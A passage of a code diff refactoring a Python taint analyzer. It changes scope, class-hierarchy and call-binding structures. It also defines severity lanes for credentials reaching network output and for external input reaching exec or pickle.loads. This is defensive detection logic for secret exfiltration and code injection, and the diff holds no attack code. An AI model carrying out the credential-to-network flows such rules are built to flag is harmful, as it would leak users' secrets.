wildcard slot, keeping the -# per-definition binding work bounded by a constant. +# Call-site positional arguments at or beyond this parameter index (and any +# after a ``*args`` unpacking) share one wildcard slot, so binding work per +# definition is bounded by a constant. _MAX_POSITIONAL_SLOTS = 16 +# The in-file base lookup visits at most this many classes, scanning at most +# this many bases of each, so it is a constant per class. +_MAX_ANCESTORS = 8 +_MAX_BASES = 8 -# Inheritance components up to this many classes track attributes per class; -# larger ones share one attribute namespace, keeping the work linear. -_PRECISE_HIERARCHY_LIMIT = 32 - -# Higher-order calls that run a callback with the remaining arguments, and the -# position of the callback among their positional arguments. -_CALLBACK_POSITIONS: dict[str, int] = { - "Thread": 1, - "Process": 1, - "Timer": 1, - "submit": 0, - "map": 0, - "imap": 0, - "imap_unordered": 0, - "starmap": 0, - "apply": 0, - "apply_async": 0, - "map_async": 0, - "starmap_async": 0, - "run_in_executor": 1, - "to_thread": 0, - "call_soon": 0, - "call_soon_threadsafe": 0, - "call_later": 1, - "call_at": 1, - "partial": 0, - "start_new_thread": 0, -} -_CALLBACK_KEYWORDS = frozenset({"target", "function", "func", "fn", "callback"}) -_PROPERTY_DECORATORS = frozenset({"property", "cached_property", "abstractproperty"}) - -_NO_OWNER = -1 - -# How a flow changes the facts it carries (see ``_mark_targets``). +# How a flow changes the fact it carries (see ``_mark_targets``). _ASSIGN = 0 # cites the flow's own line _PASS = 1 # keeps the line of the fact it forwards -_RETURN = 2 # into a function's return value -_BIND = 3 # into a parameter, from a call site +_RETURN = 2 # into a function's return summary: never carries bound facts +_BIND = 3 # from a call-site argument into a callee's parameter slot -_SOURCE_NAMES = tuple(sorted(_ALL_SOURCES)) -_SOURCE_INDEX = {name: index for index, name in enumerate(_SOURCE_NAMES)} -# A fact label is ``2 * source index + from_parameter``. -_LABELS = 2 * len(_SOURCE_NAMES) +# One source per key, the most severe one. Which source is most severe +# depends on the sink, so a key keeps it for two sink lanes; when the lanes +# agree (almost always) they share one fact, which propagates once: +# +# * lane 0, network output: credential (TT3) > file read (TT4) > external +# input (TT2), so a helper's network or file source never hides a credential; +# * lane 1, code execution and deserialization: external input (TT5/TT6) > +# file read (TT6) > credential (TT2), so a helper's credential never hides +# user or network input reaching ``exec`` or ``pickle.loads``. +# +# A sink reads its own lane; file writes (TT2 for every source) read lane 0. +_SOURCE_NAMES: tuple[str, ...] = tuple(sorted(_ALL_SOURCES)) +_SOURCE_INDEX: dict[str, int] = {name: index for index, name in enumerate(_SOURCE_NAMES)} +_LANE_RANKS: tuple[tuple[int, int], ...] = tuple( + (2, 0) if name in _CREDENTIAL_SOURCES else (0, 2) if name in _EXTERNAL_INPUT_SOURCES else (1, 1) + for name in _SOURCE_NAMES +) +_BOTH_LANES = 3 +# A fact is (source index, line). +_Fact = tuple[int, int] -class _Keys: - """Dense integer ids for taint keys, with their owner and display name. - A key's owner is the function whose locals it belongs to (or - ``_NO_OWNER``); its display is the spelling used in messages, kept as a - reference to identifiers already in the tree and joined only on output. - """ +def _noop() -> None: + return None - def __init__(self) -> None: - self.ids: dict[tuple[object, ...], int] = {} - self.owner: list[int] = [] - self.display: list[str | tuple[str, ...]] = [] - self.describe: list[tuple[object, ...]] = [] - def get( - self, descriptor: tuple[object, ...], owner: int, display: str | tuple[str, ...] - ) -> int: - key = self.ids.get(descriptor) - if key is None: - key = self.fresh(owner, display, descriptor) - self.ids[descriptor] = key - return key +class _Scope: + """One Python namespace: module, function, lambda, comprehension or class body.""" - def fresh( - self, owner: int, display: str | tuple[str, ...], descriptor: tuple[object, ...] - ) -> int: - key = len(self.owner) - self.owner.append(owner) - self.display.append(display) - self.describe.append(descriptor) - return key + __slots__ = ( + "kind", + "parent", + "id", + "name", + "in_function", + "bound", + "declared_global", + "declared_nonlocal", + "children", + "names", + "definitions", + "function", + "class_def", + ) - def name(self, key: int) -> str: - display = self.display[key] - return display if isinstance(display, str) else "".join(display) + def __init__(self, kind: int, parent: _Scope | None, scope_id: int, name: str) -> None: + self.kind = kind + self.parent = parent + self.id = scope_id + self.name = name + # Whether facts bound from a call site stay bound in this scope's keys. + self.in_function = kind in (_FUNCTION, _LAMBDA) or ( + kind == _COMPREHENSION and parent is not None and parent.in_function + ) + self.bound: set[str] | None = None + self.declared_global: set[str] | None = None + self.declared_nonlocal: set[str] | None = None + self.children: list[_Scope] | None = None + # Name nodes, and def/class statements, whose names resolve in this scope. + self.names: list[ast.Name] | None = None + self.definitions: list[tuple[str, _Function | _ClassDef]] | None = None + self.function: _Function | None = None + self.class_def: _ClassDef | None = None + def bind(self, name: str) -> None: + if self.bound is None: + self.bound = set() + self.bound.add(name) -@dataclass(eq=False) -class _Scope: - """One Python namespace: module, function, lambda, comprehension or class body.""" + def request(self, node: ast.Name) -> None: + if self.names is None: + self.names = [] + self.names.append(node) - kind: str - name: str - parent: _Scope | None - id: int - # Function whose locals live here (comprehensions belong to theirs). - owner: int - bound: set[str] = field(default_factory=set) - declared_global: set[str] = field(default_factory=set) - declared_nonlocal: set[str] = field(default_factory=set) - class_info: _ClassInfo | None = None - function: _FunctionInfo | None = None - - -@dataclass(eq=False) -class _ClassInfo: - node: ast.ClassDef - scope: _Scope - parent: _Scope - logical: _LogicalClass | None = None - - -@dataclass(eq=False) -class _LogicalClass: - """Every ``class`` statement bound to one name in one scope (redefinitions merge).""" - - id: int - name: str - infos: list[_ClassInfo] = field(default_factory=list) - bases: list[_LogicalClass] = field(default_factory=list) - subclasses: list[_LogicalClass] = field(default_factory=list) - methods: set[str] = field(default_factory=set) - properties: set[str] = field(default_factory=set) - component: int = -1 - # Attribute namespace: the class itself, or its whole component when large. - unit: int = -1 - precise: bool = True - mro: list[_LogicalClass] = field(default_factory=list) - ancestors: set[int] = field(default_factory=set) - descendants: set[int] = field(default_factory=set) - # Classes sharing a descendant with this one (including itself). - sharing: list[_LogicalClass] = field(default_factory=list) - sharing_ids: set[int] = field(default_factory=set) - - -@dataclass(eq=False) -class _FunctionInfo: - node: _FunctionNode | ast.Lambda - scope: _Scope - kind: str = "function" # function | instance | class | static - # Groups whose return value this function produces. - groups: list[_Group] = field(default_factory=list) - - -@dataclass(eq=False) -class _Group: - """Functions reached through one callable name; they share argument slots.""" - - id: int - kind: str - label: str - functions: list[_FunctionInfo] = field(default_factory=list) - keyword_params: set[str] = field(default_factory=set) - has_kwarg: bool = False - slots: dict[object, int] = field(default_factory=dict) - returns: int | None = None - - def add(self, function: _FunctionInfo) -> None: - self.functions.append(function) - args = function.node.args - self.keyword_params.update(arg.arg for arg in args.args) - self.keyword_params.update(arg.arg for arg in args.kwonlyargs) - self.has_kwarg = self.has_kwarg or args.kwarg is not None + def define(self, name: str, definition: _Function | _ClassDef) -> None: + self.bind(name) + if self.definitions is None: + self.definitions = [] + self.definitions.append((name, definition)) -@dataclass(eq=False) -class _BindingSet: - """The callees one call site binds into, each with its receiver offset.""" +class _Function: + """A ``def``/``async def`` or lambda, with the callee groups it belongs to.""" - id: int - members: tuple[tuple[_Group, int], ...] - targets: dict[object, tuple[int, ...]] = field(default_factory=dict) + __slots__ = ("node", "scope", "kind", "key", "groups") + def __init__(self, node: _FunctionNode | ast.Lambda, scope: _Scope) -> None: + self.node = node + self.scope = scope + self.kind = "function" # function | instance | class | static + self.key = -1 # key of the name the definition binds + self.groups: list[_Group] = [] -@dataclass(eq=False) -class _CallInfo: - binding: _BindingSet | None - results: tuple[_Group, ...] - # Key of the call's value (return plus arguments), for in-file callees. - value: int | None +class _ClassDef: + __slots__ = ("node", "scope", "key", "cls") -@dataclass(eq=False) -class _TypeInfo: - """What a variable or attribute is assigned, as far as call binding cares. + def __init__(self, node: ast.ClassDef, scope: _Scope) -> None: + self.node = node + self.scope = scope + self.key = -1 + self.cls: _Class | None = None - A recorded binding that is neither an in-file instance nor unknown is a - literal, library object, function or module: no in-file method. - """ - classes: list[_LogicalClass] = field(default_factory=list) - dynamic: bool = False # instance of a class or of any subclass (``cls()``) - unknown: bool = False # some value of unknown type +class _Class: + """Every ``class`` statement bound to one name (redefinitions merge).""" + + __slots__ = ("id", "defs", "bases", "methods", "ancestors") + + def __init__(self, class_id: int) -> None: + self.id = class_id + self.defs: list[_ClassDef] = [] + self.bases: list[_Class] = [] + self.methods: dict[str, dict[str, _Group]] = {} + self.ancestors: list[_Class] | None = None -class _Receiver(NamedTuple): - classes: list[_LogicalClass] - dynamic: bool # may be any subclass instance (``self``, ``cls()``) - class_object: bool # the class itself rather than an instance - fallback: bool # unknown: may be an instance of any class in the file +class _Group: + """One callee: every function bound to a name, or every same-kind method + of a class with one name. Call sites bind into its argument slots, which + flow into each definition's parameters once.""" + + __slots__ = ("id", "kind", "functions", "keyword_params", "has_kwarg", "slots") + def __init__(self, group_id: int, kind: str) -> None: + self.id = group_id + self.kind = kind + self.functions: list[_Function] = [] + self.keyword_params: set[str] = set() + self.has_kwarg = False + self.slots: dict[object, int] = {} + + def add(self, function: _Function) -> None: + self.functions.append(function) + function.groups.append(self) + args = function.node.args + self.keyword_params.update(arg.arg for arg in args.args) + self.keyword_params.update(arg.arg for arg in args.kwonlyargs) + self.has_kwarg = self.has_kwarg or args.kwarg is not None + + +class _CallTargets(NamedTuple): + # (callee, receiver offset) pairs the call binds its arguments into. + members: tuple[tuple[_Group, int], ...] + # Callees whose return summary the call's value reads. + results: tuple[_Group, ...] -_UNKNOWN_VALUE = object() -_KNOWN_VALUE = object() + +_NO_TARGETS = _CallTargets((), ()) def _parameters(args: ast.arguments) -> list[ast.arg]: @@ -712,8 +629,12 @@ def _method_kind(node: _FunctionNode) -> str: return "instance" -def _receiver_offset(class_object: bool, kind: str) -> int: - """Leading parameters a call binds implicitly (``self`` / ``cls``).""" +def _receiver_offset(kind: str, class_object: bool) -> int: + """Leading parameters a call binds implicitly (``self`` / ``cls``). + + ``self.m(x)`` binds ``x`` to an instance method's second parameter; + ``Class.m(obj, x)`` and ``cls.m(obj, x)`` pass ``obj`` explicitly. + """ if kind == "class": return 1 if kind == "instance": @@ -721,594 +642,277 @@ def _receiver_offset(class_object: bool, kind: str) -> int: return 0 -def _root_name(node: ast.expr) -> str | None: - """The name at the root of ``a.b().c[0]``, if any.""" - while True: - if isinstance(node, ast.Name): - return node.id - if isinstance(node, (ast.Attribute, ast.Subscript)): - node = node.value - elif isinstance(node, ast.Call): - node = node.func - else: - return None - - -def _is_super_call(node: ast.expr) -> bool: - return ( - isinstance(node, ast.Call) and isinstance(node.func, ast.Name) and node.func.id == "super" - ) - - -def _callee_name(func: ast.expr) -> str | None: - if isinstance(func, ast.Name): - return func.id - if isinstance(func, ast.Attribute): - return func.attr - return None - - -def _noop() -> None: - return None - - -def _linearize(cls: _LogicalClass) -> list[_LogicalClass]: - """C3 method resolution order over in-file bases; DFS order if inconsistent.""" - order: list[_LogicalClass] = [] - pending: list[tuple[_LogicalClass, bool]] = [(cls, False)] - linearized: dict[int, list[_LogicalClass]] = {} - visiting: set[int] = set() - while pending: - current, expanded = pending.pop() - if current.id in linearized: - continue - if not expanded: - if current.id in visiting: # inheritance cycle through redefinitions - linearized[current.id] = [current] - continue - visiting.add(current.id) - pending.append((current, True)) - pending.extend((base, False) for base in reversed(current.bases)) - continue - visiting.discard(current.id) - sequences = [list(linearized.get(base.id, [base])) for base in current.bases] - sequences.append(list(current.bases)) - merged = [current] - while True: - sequences = [sequence for sequence in sequences if sequence] - if not sequences: - break - for sequence in sequences: - head = sequence[0] - if not any(head in other[1:] for other in sequences): - break - else: - merged = [] - break - merged.append(head) - for sequence in sequences: - if sequence[0] is head: - del sequence[0] - if not merged: - seen: set[int] = set() - stack = [current] - while stack: - item = stack.pop() - if item.id in seen: - continue - seen.add(item.id) - merged.append(item) - stack.extend(reversed(item.bases)) - linearized[current.id] = merged - order = linearized.get(cls.id, [cls]) - return order - - -@dataclass(eq=False) class _ScopeIndex: - """Lexical scopes of one module plus what is needed to bind call sites.""" - - aliases: dict[str, str] - type_map: dict[str, str] - keys: _Keys = field(default_factory=_Keys) - scopes: list[_Scope] = field(default_factory=list) - # Assign / Return / Call / Lambda / comprehension nodes with their scope, - # in ``ast.walk`` order. - statements: list[tuple[ast.AST, _Scope]] = field(default_factory=list) - call_scope: dict[ast.Call, _Scope] = field(default_factory=dict) - # Nodes evaluated in a different scope than their parent (lambda bodies, - # comprehension elements, targets and conditions). - scope_switch: dict[ast.AST, _Scope] = field(default_factory=dict) - functions: list[_FunctionInfo] = field(default_factory=list) - lambdas: dict[ast.Lambda, _FunctionInfo] = field(default_factory=dict) - classes: list[_ClassInfo] = field(default_factory=list) - logical: list[_LogicalClass] = field(default_factory=list) - groups: dict[tuple[object, ...], _Group] = field(default_factory=dict) - function_groups: dict[int, list[_Group]] = field(default_factory=dict) - unit_groups: dict[tuple[int, str], list[_Group]] = field(default_factory=dict) - fallback_groups: dict[str, list[_Group]] = field(default_factory=dict) - definers: dict[tuple[int, str], list[_LogicalClass]] = field(default_factory=dict) - classes_by_key: dict[int, list[_LogicalClass]] = field(default_factory=dict) - # Key of each method's receiver parameter -> (class, whether it is ``cls``). - self_keys: dict[int, tuple[_LogicalClass, bool]] = field(default_factory=dict) - var_types: dict[int, _TypeInfo] = field(default_factory=dict) - # Raw bindings recorded while scoping, typed once classes are known. - name_stores: list[tuple[_Scope, str, object]] = field(default_factory=list) - attribute_stores: list[tuple[_Scope, ast.Attribute, object]] = field(default_factory=list) - lambda_bindings: list[tuple[_Scope, str, ast.Lambda]] = field(default_factory=list) - attribute_loads: list[tuple[ast.Attribute, _Scope]] = field(default_factory=list) - attribute_reads: dict[tuple[int, str], int] = field(default_factory=dict) - binding_sets: dict[tuple[tuple[int, int], ...], _BindingSet] = field(default_factory=dict) - alias_roots: set[str] = field(default_factory=set) - _resolved: dict[tuple[int, str], int] = field(default_factory=dict) - _calls: dict[ast.Call, _CallInfo] = field(default_factory=dict) - _methods: dict[tuple[int, str, bool], list[_Group]] = field(default_factory=dict) + """Lexical scopes of one module plus the in-file callees calls can bind to.""" + + def __init__(self, aliases: dict[str, str], type_map: dict[str, str]) -> None: + self.aliases = aliases + self.type_map = type_map + self.scopes: list[_Scope] = [] + # Statements and expressions that create flows, with their scope, in + # ``ast.walk`` (breadth-first) order: Assign, Return and Call. + self.statements: list[tuple[ast.AST, _Scope]] = [] + self.functions: list[_Function] = [] + self.lambdas: dict[ast.Lambda, _Function] = {} + self.lambda_bindings: list[tuple[ast.Name, ast.Lambda]] = [] + self.class_defs: list[_ClassDef] = [] + self.classes: list[_Class] = [] + self.attributes: list[ast.Attribute] = [] + self.super_scopes: dict[ast.Call, _Scope] = {} + # Keys: an id per (scope id, name) or per synthetic descriptor. + self._ids: dict[tuple[object, ...], int] = {} + self.key_scope: list[_Scope | None] = [] + self.key_name: list[str] = [] + # 1 when a fact bound from a call site stays bound in the key (function + # locals); 0 for module, class and attribute state, where it becomes + # an ordinary fact. + self.local = bytearray() + self.name_key: dict[ast.Name, int] = {} + self.class_of_key: dict[int, _Class] = {} + self.function_groups: dict[int, _Group] = {} + self.groups: list[_Group] = [] + # Key of each method's ``self``/``cls`` parameter -> (class, is ``cls``). + self.receivers: dict[int, tuple[_Class, bool]] = {} + # Attribute read keys (``self.x`` / ``cls.x``) by node and by (class, attr). + self.views: dict[ast.Attribute, int] = {} + self.view_list: list[tuple[_Class, str, int]] = [] + self._calls: dict[ast.Call, _CallTargets] = {} + self._lookups: dict[tuple[int, str, int], tuple[_Group, ...]] = {} + self._lambda_groups: dict[ast.Lambda, _Group] = {} @property def module(self) -> _Scope: return self.scopes[0] - def new_scope(self, kind: str, name: str, parent: _Scope | None) -> _Scope: - scope_id = len(self.scopes) - if kind in ("function", "lambda"): - owner = scope_id - elif kind == "comprehension" and parent is not None: - owner = parent.owner - else: - owner = _NO_OWNER - scope = _Scope(kind, name, parent, scope_id, owner) + def new_scope(self, kind: int, parent: _Scope | None, name: str) -> _Scope: + scope = _Scope(kind, parent, len(self.scopes), name) self.scopes.append(scope) + if parent is not None: + if parent.children is None: + parent.children = [] + parent.children.append(scope) return scope - # ── names ── - - def binding_scope(self, scope: _Scope, name: str) -> _Scope: - """The scope *name* is bound in when read or written in *scope*. + # ── keys ── - Follows Python's rules: a name bound anywhere in a function body is - local to it unless declared ``global``/``nonlocal``; free names - resolve through enclosing function scopes (closures) to the module. - Class bodies are visible only to their own statements, not to methods. - """ - current: _Scope | None = scope - while current is not None and current.kind != "module": - if current is scope or current.kind != "class": - if name in current.declared_global: - break - if name in current.bound and name not in current.declared_nonlocal: - return current - current = current.parent - return self.module + def _new_key(self, scope: _Scope | None, name: str, local: bool) -> int: + key = len(self.key_scope) + self.key_scope.append(scope) + self.key_name.append(name) + self.local.append(1 if local else 0) + return key - def binding_key(self, scope: _Scope, name: str) -> int: + def key(self, scope: _Scope, name: str) -> int: """Key of *name* bound in *scope* itself.""" - if scope.kind == "class" and scope.class_info is not None: - logical = scope.class_info.logical - if logical is not None: - return self.keys.get((-1, logical.unit, name), _NO_OWNER, name) - return self.keys.get((scope.id, name), scope.owner, name) - - def resolve(self, scope: _Scope, name: str) -> int: - """Return the key *name* refers to when read or written in *scope*.""" - cache_key = (scope.id, name) - key = self._resolved.get(cache_key) + ident = (scope.id, name) + key = self._ids.get(ident) if key is None: - key = self.binding_key(self.binding_scope(scope, name), name) - self._resolved[cache_key] = key + key = self._new_key(scope, name, scope.in_function) + self._ids[ident] = key return key - def is_module_import(self, scope: _Scope, name: str) -> bool: - """Whether *name* is an imported module/object or a builtin, not a local.""" - bound = self.binding_scope(scope, name) - if bound.kind != "module": - return False - return name in self.alias_roots or name not in bound.bound - - # ── classes and attributes ── + def synthetic(self, ident: tuple[object, ...], local: bool, name: str = "") -> int: + key = self._ids.get(ident) + if key is None: + key = self._new_key(None, name, local) + self._ids[ident] = key + return key - def receiver_classes(self, scope: _Scope, name: str) -> list[_LogicalClass]: - """Classes whose attribute namespace ``name.x`` refers to. + def visible(self, key: int, root: _Scope) -> bool: + """Whether a read evaluated from *root* carries *key*'s data. - ``self``/``cls`` in a method, a class itself, or a variable assigned an - instance of an in-file class in its own scope (``cfg = Config()``). + A lambda's parameters and a comprehension's targets live only inside + it: an expression that merely contains the lambda or comprehension + does not hold their values (a function object does not carry its + arguments), so they are skipped unless the walk starts in that scope. """ - key = self.resolve(scope, name) - entry = self.self_keys.get(key) - if entry is not None: - return [entry[0]] - classes = self.classes_by_key.get(key) - if classes: - return classes - info = self.var_types.get(key) - return info.classes if info is not None else [] - - def attribute_store(self, node: ast.Attribute, scope: _Scope) -> list[int]: - """Keys written by ``self.x = ...`` / ``cls.x = ...`` / ``Class.x = ...``.""" - if not isinstance(node.value, ast.Name): - return [] - display = (node.value.id, ".", node.attr) - return [ - self.keys.get((-1, cls.unit, node.attr), _NO_OWNER, display) - for cls in self.receiver_classes(scope, node.value.id) - ] - - def attribute_load(self, node: ast.Attribute, scope: _Scope) -> list[int]: - """Keys read by ``self.x`` / ``cls.x`` / ``Class.x``.""" - if not isinstance(node.value, ast.Name): - return [] - classes = self.receiver_classes(scope, node.value.id) - if not classes: - return [] - display = (node.value.id, ".", node.attr) - keys: list[int] = [] - for cls in classes: - if not cls.precise: - keys.append(self.keys.get((-1, cls.unit, node.attr), _NO_OWNER, display)) - continue - read_key = (cls.id, node.attr) - key = self.attribute_reads.get(read_key) - if key is None: - key = self.keys.get((-2, cls.id, node.attr), _NO_OWNER, display) - self.attribute_reads[read_key] = key - keys.append(key) - return keys - - def attribute_type(self, cls: _LogicalClass, attr: str) -> _TypeInfo: - """Union of what ``self.`` is assigned across the classes that see it.""" - result = _TypeInfo() - recorded = False - for other in cls.sharing if cls.precise else [cls]: - key = self.keys.ids.get((-1, other.unit, attr)) - info = self.var_types.get(key) if key is not None else None - if info is None: - continue - recorded = True - result.classes.extend(c for c in info.classes if c not in result.classes) - result.dynamic = result.dynamic or info.dynamic - result.unknown = result.unknown or info.unknown - if not recorded: - result.unknown = True - return result + owner = self.key_scope[key] + return owner is None or owner is root or owner.kind not in (_LAMBDA, _COMPREHENSION) - # ── call resolution ── + # ── callees ── - def group(self, identity: tuple[object, ...], kind: str, label: str) -> _Group: - group = self.groups.get(identity) + def function_group(self, key: int) -> _Group: + group = self.function_groups.get(key) if group is None: - group = _Group(len(self.groups), kind, label) - self.groups[identity] = group + group = self._new_group("function") + self.function_groups[key] = group return group - def method_groups(self, cls: _LogicalClass, name: str, *, exact: bool) -> list[_Group]: - """Groups ``obj.`` may dispatch to when ``obj`` is a *cls* instance. + def _new_group(self, kind: str) -> _Group: + group = _Group(len(self.groups), kind) + self.groups.append(group) + return group - *exact* means the receiver is exactly *cls* (``Cls()``, ``obj = Cls()``); - otherwise it may be any subclass (``self``, ``cls``), so overrides in - subclasses and in mixins combined with *cls* are included too. - """ - cache_key = (cls.id, name, exact) - cached = self._methods.get(cache_key) - if cached is not None: - return cached - result: list[_Group] = [] - if not cls.precise: - result.extend(self.unit_groups.get((cls.unit, name), ())) - else: - first = next((c for c in cls.mro if name in c.methods), None) - if first is not None: - result.extend(self.unit_groups.get((first.unit, name), ())) - if not exact: - for other in self.definers.get((cls.component, name), ()): - if ( - other is not first - and other.id in cls.sharing_ids - and other.id not in cls.ancestors - ): - result.extend(self.unit_groups.get((other.unit, name), ())) - self._methods[cache_key] = result - return result + def method_group(self, cls: _Class, name: str, kind: str) -> _Group: + kinds = cls.methods.setdefault(name, {}) + group = kinds.get(kind) + if group is None: + group = self._new_group(kind) + kinds[kind] = group + return group - def super_groups(self, cls: _LogicalClass, name: str) -> list[_Group]: - """Groups ``super().`` may reach from a method of *cls*.""" - if not cls.precise: - return list(self.unit_groups.get((cls.unit, name), ())) - result: list[_Group] = [] - first = next((c for c in cls.mro[1:] if name in c.methods), None) - if first is not None: - result.extend(self.unit_groups.get((first.unit, name), ())) - for other in self.definers.get((cls.component, name), ()): - if ( - other is not first - and other.id in cls.sharing_ids - and other.id not in cls.ancestors - and other.id not in cls.descendants - ): - result.extend(self.unit_groups.get((other.unit, name), ())) - return result + def ancestors(self, cls: _Class, tick: Callable[[], None]) -> list[_Class]: + """*cls* then its in-file bases, depth-first left to right, bounded.""" + if cls.ancestors is None: + tick() + order: list[_Class] = [] + seen: set[int] = set() + stack = [cls] + while stack and len(order) < _MAX_ANCESTORS: + current = stack.pop() + if current.id in seen: + continue + seen.add(current.id) + order.append(current) + stack.extend(reversed(current.bases[:_MAX_BASES])) + cls.ancestors = order + return cls.ancestors + + def lookup( + self, cls: _Class, name: str, skip: int, tick: Callable[[], None] + ) -> tuple[_Group, ...]: + """Method groups named *name* on the nearest class in *cls*'s lookup chain. + + *skip* is 1 for ``super()``, which starts after the class itself. + """ + memo = (cls.id, name, skip) + found = self._lookups.get(memo) + if found is None: + found = () + for candidate in self.ancestors(cls, tick)[skip:]: + kinds = candidate.methods.get(name) + if kinds: + found = tuple(kinds.values()) + break + self._lookups[memo] = found + return found - def super_class(self, call: ast.Call, scope: _Scope) -> _LogicalClass | None: + def super_class(self, call: ast.Call) -> _Class | None: + """The class whose bases ``super()`` / ``super(C, obj)`` starts from.""" + func = call.func + if not isinstance(func, ast.Name) or func.id != "super": + return None + key = self.name_key.get(func) + if key is None or self.key_scope[key] is not self.module: + return None + if self.module.bound is not None and "super" in self.module.bound: + return None # shadowed builtin if call.args: first = call.args[0] if isinstance(first, ast.Name): - classes = self.classes_by_key.get(self.resolve(scope, first.id)) - return classes[0] if classes else None + return self.class_of_key.get(self.name_key.get(first, -1)) return None - current: _Scope | None = scope - while current is not None and current.kind in ("comprehension", "lambda"): - current = current.parent - if current is None or current.kind != "function": + scope = self.super_scopes.get(call) + while scope is not None and scope.kind in (_LAMBDA, _COMPREHENSION): + scope = scope.parent + if scope is None or scope.kind != _FUNCTION: return None - parent = current.parent - if parent is None or parent.class_info is None: + parent = scope.parent + if parent is None or parent.class_def is None: return None - return parent.class_info.logical - - def value_type(self, value: ast.expr, scope: _Scope) -> object: - """Classes *value* is an instance of: a ``(classes, dynamic)`` pair, - ``_KNOWN_VALUE`` (literal, library object, function) or ``_UNKNOWN_VALUE``.""" - if isinstance(value, _LITERAL_VALUES) or isinstance(value, ast.Lambda): - return _KNOWN_VALUE - if not isinstance(value, ast.Call): - return _UNKNOWN_VALUE - func = value.func - if isinstance(func, ast.Name): - key = self.resolve(scope, func.id) - classes = self.classes_by_key.get(key) - if classes: - return classes, False - entry = self.self_keys.get(key) - if entry is not None and entry[1]: - return [entry[0]], True - if key in self.function_groups: - return _UNKNOWN_VALUE - return _KNOWN_VALUE if self.is_module_import(scope, func.id) else _UNKNOWN_VALUE - root = _root_name(func) - if root is not None and root in self.alias_roots and self.is_module_import(scope, root): - return _KNOWN_VALUE - return _UNKNOWN_VALUE - - def receiver(self, node: ast.expr, scope: _Scope) -> _Receiver: - """What ``node.m(...)`` may dispatch on.""" - none = _Receiver([], False, False, False) - if isinstance(node, ast.Name): - key = self.resolve(scope, node.id) - entry = self.self_keys.get(key) - if entry is not None: - return _Receiver([entry[0]], True, entry[1], False) - classes = self.classes_by_key.get(key) - if classes: - return _Receiver(classes, False, True, False) - info = self.var_types.get(key) - if info is None: - # Never bound in this file: a builtin or a star import. - unbound_local = not self.is_module_import(scope, node.id) - return _Receiver([], False, False, unbound_local) - if info.classes: - return _Receiver(info.classes, info.dynamic, False, False) - return _Receiver([], False, False, info.unknown) - if isinstance(node, _LITERAL_VALUES): - return none - if isinstance(node, ast.Call): - found = self.value_type(node, scope) - if isinstance(found, tuple): - classes, dynamic = found - return _Receiver(classes, dynamic, False, False) - return _Receiver([], False, False, found is _UNKNOWN_VALUE) - if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name): - classes = self.receiver_classes(scope, node.value.id) - if classes: - result = _TypeInfo() - for cls in classes: - info = self.attribute_type(cls, node.attr) - result.classes.extend(c for c in info.classes if c not in result.classes) - result.dynamic = result.dynamic or info.dynamic - result.unknown = result.unknown or info.unknown - if result.classes: - return _Receiver(result.classes, result.dynamic, False, False) - return _Receiver([], False, False, result.unknown) - root = _root_name(node) - if root is not None and root in self.alias_roots and self.is_module_import(scope, root): - return none - return _Receiver([], False, False, True) - - def resolve_callee( - self, func: ast.expr, scope: _Scope, *, fallback: bool - ) -> tuple[list[tuple[_Group, int]], list[_Group]]: - """Callees ``func(...)`` may run: ``(group, receiver offset)`` pairs to - bind arguments into, and the groups whose return value the call yields. - - A plain name resolves lexically to the functions bound to it, or to the - ``__init__`` of a class it names (``cls(...)`` in a classmethod too). - ``obj.m`` resolves through ``obj``'s class: ``self``/``cls``, a class, - an instance built in this scope or stored on ``self``, or - ``super()``. With *fallback*, a receiver of unknown type binds into - every method named ``m`` in the file, but its return value is not read. - """ + return parent.class_def.cls + + def call_targets(self, call: ast.Call, tick: Callable[[], None]) -> _CallTargets: + """The in-file callees a call reaches, resolved from syntax alone.""" + cached = self._calls.get(call) + if cached is not None: + return cached members: list[tuple[_Group, int]] = [] results: list[_Group] = [] + func = call.func if isinstance(func, ast.Name): - key = self.resolve(scope, func.id) - for group in self.function_groups.get(key, ()): + key = self.name_key.get(func, -1) + group = self.function_groups.get(key) + if group is not None: members.append((group, 0)) results.append(group) - constructed = list(self.classes_by_key.get(key, ())) - exact = True - entry = self.self_keys.get(key) - if entry is not None and entry[1]: - constructed.append(entry[0]) - exact = False - for cls in constructed: - for group in self.method_groups(cls, "__init__", exact=exact): - members.append((group, _receiver_offset(False, group.kind))) - return members, results - if not isinstance(func, ast.Attribute): - return members, results - if _is_super_call(func.value): - assert isinstance(func.value, ast.Call) - cls = self.super_class(func.value, scope) + constructed = self.class_of_key.get(key) + receiver = self.receivers.get(key) + if receiver is not None and receiver[1]: + constructed = receiver[0] # cls(...) in a classmethod + if constructed is not None: + for group in self.lookup(constructed, "__init__", 0, tick): + members.append((group, 0 if group.kind == "static" else 1)) + elif isinstance(func, ast.Lambda): + function = self.lambdas.get(func) + if function is not None: + group = self._lambda_groups.get(func) + if group is None: + group = self._new_group("function") + group.add(function) + self._lambda_groups[func] = group + members.append((group, 0)) + elif isinstance(func, ast.Attribute): + value = func.value + cls: _Class | None = None + class_object = False + skip = 0 + if isinstance(value, ast.Name): + key = self.name_key.get(value, -1) + receiver = self.receivers.get(key) + if receiver is not None: + cls, class_object = receiver + else: + cls = self.class_of_key.get(key) + class_object = True + elif isinstance(value, ast.Call): + cls = self.super_class(value) + skip = 1 if cls is not None: - for group in self.super_groups(cls, func.attr): - members.append((group, _receiver_offset(False, group.kind))) + for group in self.lookup(cls, func.attr, skip, tick): + members.append((group, _receiver_offset(group.kind, class_object))) results.append(group) - return members, results - receiver = self.receiver(func.value, scope) - if receiver.classes: - for cls in receiver.classes: - for group in self.method_groups(cls, func.attr, exact=not receiver.dynamic): - members.append((group, _receiver_offset(receiver.class_object, group.kind))) - results.append(group) - elif receiver.fallback and fallback and not func.attr.startswith("__"): - # Dunder methods run through syntax (``Cls(...)``, ``super()``), - # not through explicit calls on unknown objects. - for group in self.fallback_groups.get(func.attr, ()): - members.append((group, _receiver_offset(False, group.kind))) - return members, results - - def binding_set(self, members: list[tuple[_Group, int]]) -> _BindingSet: - identity = tuple(dict.fromkeys((group.id, offset) for group, offset in members)) - bset = self.binding_sets.get(identity) - if bset is None: - by_id = {group.id: group for group, _ in members} - bset = _BindingSet( - len(self.binding_sets), - tuple((by_id[group_id], offset) for group_id, offset in identity), - ) - self.binding_sets[identity] = bset - return bset - - def call_info(self, call: ast.Call, scope: _Scope) -> _CallInfo: - info = self._calls.get(call) - if info is None: - members, results = self.resolve_callee(call.func, scope, fallback=True) - binding = self.binding_set(members) if members else None - value = None - if members: - name = _callee_name(call.func) or "" - value = self.keys.fresh(scope.owner, (name, "()"), ("call", call)) - info = _CallInfo(binding, 